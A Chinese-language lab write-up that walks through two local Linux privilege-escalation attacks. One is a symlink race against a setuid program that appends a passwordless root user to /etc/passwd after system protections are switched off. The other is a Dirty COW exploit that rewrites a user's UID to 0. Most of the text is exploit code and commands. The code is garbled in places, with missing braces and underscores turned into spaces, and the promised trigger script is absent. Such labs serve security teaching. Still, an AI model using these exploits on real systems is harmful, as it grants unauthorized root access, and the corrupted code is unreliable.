# Race Condition 实验

#### 1. 准备实验程序 (vulp.c)

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
   char* fn = "/tmp/XYZ";
   char buffer[60];
   FILE* fp;
    /* get user input */
    scanf("%50s", buffer);
    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
   return 0;
}
```

#### 按照如下命令对其进行编译并设置为setuid程序

```
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

# 关闭保护措施
# for ubuntu 16.04
sudo sysctl -w fs.protected_symlinks=0
# for ubuntu 12.04
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
```

### 2. 设置将要添加到/etc/passwd的用户行信息 (passwd\_input)

```
echo "test:U6aMy0Wojraho:0:0:test:/root:/bin/bash" > passwd_input
```

3. 设置攻击进程来不断更改链接的指向 (attack\_process.c)

```
#include <unistd.h>

int main() {
    while(1) {
        unlink("/tmp/XYZ");
        symlink("/dev/null", "/tmp/XYZ");
        usleep(1000);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(1000);
    }

    return 0;
}
```

将其编译: gcc -o attack process attack process.c

4. 编写脚本不断触发实验程序,实现race condtion (target\_process.sh)

#### 5. 执行攻击

```
# 在窗口1执行attach_process来不断变换链接指向
./attack_process

# 在窗口2不断触发实验程序
bash target_process.sh

# 等待几分钟,会出现提示: STOP... The passwd file has been changed

# 查看效果
cat /etc/passwd
```

# Dirty Cow (在Ubuntu 12.04上进行)

#### 1. 添加一个测试用户testcow

```
sudo adduser testcow
```

#### 2. 准备攻击程序

```
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
 pthread t pth1,pth2;
  struct stat st;
  int file size;
  // Open the target file in the read-only mode.
  int f=open("/etc/passwd", O_RDONLY);
  // Map the file to COW memory using MAP PRIVATE.
  fstat(f, &st);
  file size = st.st size;
  map=mmap(NULL, file size, PROT READ, MAP PRIVATE, f, 0);
  // Find the position of the target area
  char *position = strstr(map, "testcow:x:1001");
  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
  pthread create(&pth2, NULL, writeThread, position);
  // Wait for the threads to finish.
  pthread join(pth1, NULL);
  pthread join(pth2, NULL);
 return 0;
}
void *writeThread(void *arg)
  char *content= "testcow:x:0000";
  off t offset = (off_t) arg;
  int f=open("/proc/self/mem", O RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK SET);
    // Write to the memory.
```

```
write(f, content, strlen(content));
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1) {
     madvise(map, file_size, MADV_DONTNEED);
  }
}
```

将其进行编译: gcc dirty\_cow.c -lpthread生成a.out。

## 3. 执行攻击

```
# 执行如下程序几秒后手动ctrl+c结束
./a.out

# 查看结果
cat /etc/passwd
```